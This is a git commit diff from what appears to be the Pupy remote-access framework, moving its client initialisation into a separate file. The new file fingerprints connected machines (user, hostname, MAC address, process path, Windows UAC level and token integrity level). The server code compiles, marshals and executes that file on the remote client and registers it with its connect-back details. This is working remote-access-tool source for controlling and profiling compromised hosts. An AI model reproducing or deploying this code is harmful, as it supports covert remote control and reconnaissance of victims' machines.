Move client initialization code to separate nice file

This commit is contained in:
Oleksii Shevchuk 2016-10-21 00:58:03 +03:00
parent 85d7070a2a
commit c6f4cf414b
2 changed files with 284 additions and 243 deletions

View File

@ -0,0 +1,273 @@
# -*- coding: utf-8 -*-
import platform
import getpass
import uuid
import sys
import os
import locale
os_encoding = locale.getpreferredencoding() or "utf8"
if sys.platform == 'win32':
from _winreg import *
import ctypes
def get_integrity_level_win():
'''from http://www.programcreek.com/python/example/3211/ctypes.c_long'''
if sys.platform != 'win32':
return "N/A"
mapping = {
0x0000: u'Untrusted',
0x1000: u'Low',
0x2000: u'Medium',
0x2100: u'Medium high',
0x3000: u'High',
0x4000: u'System',
0x5000: u'Protected process',
}
BOOL = ctypes.c_long
DWORD = ctypes.c_ulong
HANDLE = ctypes.c_void_p
class SID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [
('Sid', ctypes.c_void_p),
('Attributes', DWORD),
]
class TOKEN_MANDATORY_LABEL(ctypes.Structure):
_fields_ = [
('Label', SID_AND_ATTRIBUTES),
]
TOKEN_READ = DWORD(0x20008)
TokenIntegrityLevel = ctypes.c_int(25)
ERROR_INSUFFICIENT_BUFFER = 122
ctypes.windll.kernel32.GetLastError.argtypes = ()
ctypes.windll.kernel32.GetLastError.restype = DWORD
ctypes.windll.kernel32.GetCurrentProcess.argtypes = ()
ctypes.windll.kernel32.GetCurrentProcess.restype = ctypes.c_void_p
ctypes.windll.advapi32.OpenProcessToken.argtypes = (
HANDLE, DWORD, ctypes.POINTER(HANDLE))
ctypes.windll.advapi32.OpenProcessToken.restype = BOOL
ctypes.windll.advapi32.GetTokenInformation.argtypes = (
HANDLE, ctypes.c_long, ctypes.c_void_p, DWORD, ctypes.POINTER(DWORD))
ctypes.windll.advapi32.GetTokenInformation.restype = BOOL
ctypes.windll.advapi32.GetSidSubAuthorityCount.argtypes = [ctypes.c_void_p]
ctypes.windll.advapi32.GetSidSubAuthorityCount.restype = ctypes.POINTER(
ctypes.c_ubyte)
ctypes.windll.advapi32.GetSidSubAuthority.argtypes = (ctypes.c_void_p, DWORD)
ctypes.windll.advapi32.GetSidSubAuthority.restype = ctypes.POINTER(DWORD)
token = ctypes.c_void_p()
proc_handle = ctypes.windll.kernel32.GetCurrentProcess()
if not ctypes.windll.advapi32.OpenProcessToken(
proc_handle,
TOKEN_READ,
ctypes.byref(token)):
logging.error('Failed to get process token')
return None
if token.value == 0:
logging.error('Got a NULL token')
return None
try:
info_size = DWORD()
if ctypes.windll.advapi32.GetTokenInformation(
token,
TokenIntegrityLevel,
ctypes.c_void_p(),
info_size,
ctypes.byref(info_size)):
logging.error('GetTokenInformation() failed expectation')
return None
if info_size.value == 0:
logging.error('GetTokenInformation() returned size 0')
return None
if ctypes.windll.kernel32.GetLastError() != ERROR_INSUFFICIENT_BUFFER:
logging.error(
'GetTokenInformation(): Unknown error: %d',
ctypes.windll.kernel32.GetLastError())
return None
token_info = TOKEN_MANDATORY_LABEL()
ctypes.resize(token_info, info_size.value)
if not ctypes.windll.advapi32.GetTokenInformation(
token,
TokenIntegrityLevel,
ctypes.byref(token_info),
info_size,
ctypes.byref(info_size)):
logging.error(
'GetTokenInformation(): Unknown error with buffer size %d: %d',
info_size.value,
ctypes.windll.kernel32.GetLastError())
return None
p_sid_size = ctypes.windll.advapi32.GetSidSubAuthorityCount(
token_info.Label.Sid)
res = ctypes.windll.advapi32.GetSidSubAuthority(
token_info.Label.Sid, p_sid_size.contents.value - 1)
value = res.contents.value
return mapping.get(value) or u'0x%04x' % value
finally:
ctypes.windll.kernel32.CloseHandle(token)
def getUACLevel():
if sys.platform != 'win32':
return 'N/A'
i, consentPromptBehaviorAdmin, enableLUA, promptOnSecureDesktop = 0, None, None, None
try:
Registry = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
RawKey = OpenKey(Registry, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System")
except:
return "?"
while True:
try:
name, value, type = EnumValue(RawKey, i)
if name == "ConsentPromptBehaviorAdmin":
consentPromptBehaviorAdmin = value
elif name == "EnableLUA":
enableLUA = value
elif name == "PromptOnSecureDesktop":
promptOnSecureDesktop = value
i+=1
except WindowsError:
break
if consentPromptBehaviorAdmin == 2 and enableLUA == 1 and promptOnSecureDesktop == 1:
return "3/3"
elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and promptOnSecureDesktop == 1:
return "2/3"
elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and promptOnSecureDesktop == 0:
return "1/3"
elif enableLUA == 0:
return "0/3"
else:
return "?"
def GetUserName():
from ctypes import windll, WinError, create_string_buffer, byref, c_uint32, GetLastError
DWORD = c_uint32
nSize = DWORD(0)
windll.advapi32.GetUserNameA(None, byref(nSize))
error = GetLastError()
ERROR_INSUFFICIENT_BUFFER = 122
if error != ERROR_INSUFFICIENT_BUFFER:
raise WinError(error)
lpBuffer = create_string_buffer('', nSize.value + 1)
success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize))
if not success:
raise WinError()
return lpBuffer.value
def get_uuid():
user=None
node=None
plat=None
release=None
version=None
machine=None
macaddr=None
pid=None
proc_arch=None
proc_path=sys.executable
uacLevel = None
integrity_level_win = None
try:
if sys.platform=="win32":
user=GetUserName().decode(encoding=os_encoding).encode("utf8")
else:
user=getpass.getuser().decode(encoding=os_encoding).encode("utf8")
except Exception as e:
user=str(e)
pass
try:
node=platform.node().decode(encoding=os_encoding).encode("utf8")
except Exception:
pass
try:
version=platform.platform()
except Exception:
pass
try:
plat=platform.system()
except Exception:
pass
try:
from kivy.utils import platform as kivy_plat#support for android
plat=bytes(kivy_plat)
except ImportError:
pass
try:
release=platform.release()
except Exception:
pass
try:
version=platform.version()
except Exception:
pass
try:
machine=platform.machine()
except Exception:
pass
try:
pid=os.getpid()
except Exception:
pass
try:
proc_arch=platform.architecture()[0]
except Exception:
pass
try:
macaddr=uuid.getnode()
macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2))
except Exception:
pass
try:
uacLevel = getUACLevel()
except Exception as e:
uacLevel = "?"
try:
integrity_level_win = get_integrity_level_win()
except Exception as e:
integrity_level_win = "?"
return {
'user': user,
'hostname': node,
'platform': plat,
'release': release,
'version': version,
'os_arch': machine,
'macaddr': macaddr,
'pid': pid,
'proc_arch': proc_arch,
'exec_path': proc_path,
'uac_lvl': uacLevel,
'intgty_lvl': integrity_level_win
}

View File

@ -16,7 +16,6 @@
import threading
from . import PupyService
import textwrap
import pkgutil
import modules
import logging
@ -31,6 +30,7 @@ from network.lib.utils import parse_transports_args
from network.lib.base_launcher import LauncherError
from os import path
from shutil import copyfile
import marshal
import network.conf
import rpyc
import shlex
@ -42,7 +42,6 @@ except ImportError:
from . import PupyClient
import os.path
class PupyServer(threading.Thread):
def __init__(self, transport, transport_kwargs, port=None, ipv6=None):
super(PupyServer, self).__init__()
@ -95,258 +94,27 @@ class PupyServer(threading.Thread):
def add_client(self, conn):
pc=None
conn.execute(textwrap.dedent(
"""
import platform
import getpass
import uuid
import sys
import os
import locale
os_encoding = locale.getpreferredencoding() or "utf8"
if sys.platform == 'win32':
from _winreg import *
import ctypes
with open(path.join(path.dirname(__file__), 'PupyClientInitializer.py')) as initializer:
conn.execute(
'import marshal;exec marshal.loads({})'.format(
repr(marshal.dumps(compile(initializer.read(), '<loader>', 'exec')))
)
)
def get_integrity_level_win():
'''from http://www.programcreek.com/python/example/3211/ctypes.c_long'''
if sys.platform != 'win32':
return "N/A"
mapping = {
0x0000: u'Untrusted',
0x1000: u'Low',
0x2000: u'Medium',
0x2100: u'Medium high',
0x3000: u'High',
0x4000: u'System',
0x5000: u'Protected process',
}
BOOL = ctypes.c_long
DWORD = ctypes.c_ulong
HANDLE = ctypes.c_void_p
class SID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [
('Sid', ctypes.c_void_p),
('Attributes', DWORD),
]
class TOKEN_MANDATORY_LABEL(ctypes.Structure):
_fields_ = [
('Label', SID_AND_ATTRIBUTES),
]
TOKEN_READ = DWORD(0x20008)
TokenIntegrityLevel = ctypes.c_int(25)
ERROR_INSUFFICIENT_BUFFER = 122
ctypes.windll.kernel32.GetLastError.argtypes = ()
ctypes.windll.kernel32.GetLastError.restype = DWORD
ctypes.windll.kernel32.GetCurrentProcess.argtypes = ()
ctypes.windll.kernel32.GetCurrentProcess.restype = ctypes.c_void_p
ctypes.windll.advapi32.OpenProcessToken.argtypes = (
HANDLE, DWORD, ctypes.POINTER(HANDLE))
ctypes.windll.advapi32.OpenProcessToken.restype = BOOL
ctypes.windll.advapi32.GetTokenInformation.argtypes = (
HANDLE, ctypes.c_long, ctypes.c_void_p, DWORD, ctypes.POINTER(DWORD))
ctypes.windll.advapi32.GetTokenInformation.restype = BOOL
ctypes.windll.advapi32.GetSidSubAuthorityCount.argtypes = [ctypes.c_void_p]
ctypes.windll.advapi32.GetSidSubAuthorityCount.restype = ctypes.POINTER(
ctypes.c_ubyte)
ctypes.windll.advapi32.GetSidSubAuthority.argtypes = (ctypes.c_void_p, DWORD)
ctypes.windll.advapi32.GetSidSubAuthority.restype = ctypes.POINTER(DWORD)
token = ctypes.c_void_p()
proc_handle = ctypes.windll.kernel32.GetCurrentProcess()
if not ctypes.windll.advapi32.OpenProcessToken(
proc_handle,
TOKEN_READ,
ctypes.byref(token)):
logging.error('Failed to get process token')
return None
if token.value == 0:
logging.error('Got a NULL token')
return None
try:
info_size = DWORD()
if ctypes.windll.advapi32.GetTokenInformation(
token,
TokenIntegrityLevel,
ctypes.c_void_p(),
info_size,
ctypes.byref(info_size)):
logging.error('GetTokenInformation() failed expectation')
return None
if info_size.value == 0:
logging.error('GetTokenInformation() returned size 0')
return None
if ctypes.windll.kernel32.GetLastError() != ERROR_INSUFFICIENT_BUFFER:
logging.error(
'GetTokenInformation(): Unknown error: %d',
ctypes.windll.kernel32.GetLastError())
return None
token_info = TOKEN_MANDATORY_LABEL()
ctypes.resize(token_info, info_size.value)
if not ctypes.windll.advapi32.GetTokenInformation(
token,
TokenIntegrityLevel,
ctypes.byref(token_info),
info_size,
ctypes.byref(info_size)):
logging.error(
'GetTokenInformation(): Unknown error with buffer size %d: %d',
info_size.value,
ctypes.windll.kernel32.GetLastError())
return None
p_sid_size = ctypes.windll.advapi32.GetSidSubAuthorityCount(
token_info.Label.Sid)
res = ctypes.windll.advapi32.GetSidSubAuthority(
token_info.Label.Sid, p_sid_size.contents.value - 1)
value = res.contents.value
return mapping.get(value) or u'0x%04x' % value
finally:
ctypes.windll.kernel32.CloseHandle(token)
def getUACLevel():
if sys.platform != 'win32':
return 'N/A'
i, consentPromptBehaviorAdmin, enableLUA, promptOnSecureDesktop = 0, None, None, None
try:
Registry = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
RawKey = OpenKey(Registry, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System")
except:
return "?"
while True:
try:
name, value, type = EnumValue(RawKey, i)
if name == "ConsentPromptBehaviorAdmin": consentPromptBehaviorAdmin = value
elif name == "EnableLUA": enableLUA = value
elif name == "PromptOnSecureDesktop": promptOnSecureDesktop = value
i+=1
except WindowsError:
break
if consentPromptBehaviorAdmin == 2 and enableLUA == 1 and promptOnSecureDesktop == 1: return "3/3"
elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and promptOnSecureDesktop == 1: return "2/3"
elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and promptOnSecureDesktop == 0: return "1/3"
elif enableLUA == 0: return "0/3"
else: return "?"
def GetUserName():
from ctypes import windll, WinError, create_string_buffer, byref, c_uint32, GetLastError
DWORD = c_uint32
nSize = DWORD(0)
windll.advapi32.GetUserNameA(None, byref(nSize))
error = GetLastError()
ERROR_INSUFFICIENT_BUFFER = 122
if error != ERROR_INSUFFICIENT_BUFFER:
raise WinError(error)
lpBuffer = create_string_buffer('', nSize.value + 1)
success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize))
if not success:
raise WinError()
return lpBuffer.value
def get_uuid():
user=None
node=None
plat=None
release=None
version=None
machine=None
macaddr=None
pid=None
proc_arch=None
proc_path=sys.executable
uacLevel = None
integrity_level_win = None
try:
if sys.platform=="win32":
user=GetUserName().decode(encoding=os_encoding).encode("utf8")
else:
user=getpass.getuser().decode(encoding=os_encoding).encode("utf8")
except Exception as e:
user=str(e)
pass
try:
node=platform.node().decode(encoding=os_encoding).encode("utf8")
except Exception:
pass
try:
version=platform.platform()
except Exception:
pass
try:
plat=platform.system()
except Exception:
pass
try:
from kivy.utils import platform as kivy_plat#support for android
plat=bytes(kivy_plat)
except ImportError:
pass
try:
release=platform.release()
except Exception:
pass
try:
version=platform.version()
except Exception:
pass
try:
machine=platform.machine()
except Exception:
pass
try:
pid=os.getpid()
except Exception:
pass
try:
proc_arch=platform.architecture()[0]
except Exception:
pass
try:
macaddr=uuid.getnode()
macaddr=':'.join(("%012X" % macaddr)[i:i+2] for i in range(0, 12, 2))
except Exception:
pass
try:
uacLevel = getUACLevel()
except Exception as e:
uacLevel = "?"
try:
integrity_level_win = get_integrity_level_win()
except Exception as e:
integrity_level_win = "?"
return (user, node, plat, release, version, machine, macaddr, pid, proc_arch, proc_path, uacLevel, integrity_level_win)
"""))
l=conn.namespace["get_uuid"]()
with self.clients_lock:
pc=PupyClient.PupyClient({
client_info = {
"id": self.current_id,
"conn" : conn,
"user" : l[0],
"hostname" : l[1],
"platform" : l[2],
"release" : l[3],
"version" : l[4],
"os_arch" : l[5],
"proc_arch" : l[8],
"exec_path" : l[9],
"macaddr" : l[6],
"pid" : l[7],
"uac_lvl" : l[10],
"intgty_lvl" : l[11],
"address" : conn._conn._config['connid'].rsplit(':',1)[0],
"launcher" : conn.get_infos("launcher"),
"launcher_args" : obtain(conn.get_infos("launcher_args")),
"transport" : obtain(conn.get_infos("transport")),
"daemonize" : (True if obtain(conn.get_infos("daemonize")) else False),
}, self)
}
client_info.update(l)
pc=PupyClient.PupyClient(client_info, self)
self.clients.append(pc)
if self.handler:
addr = conn.modules['pupy'].get_connect_back_host()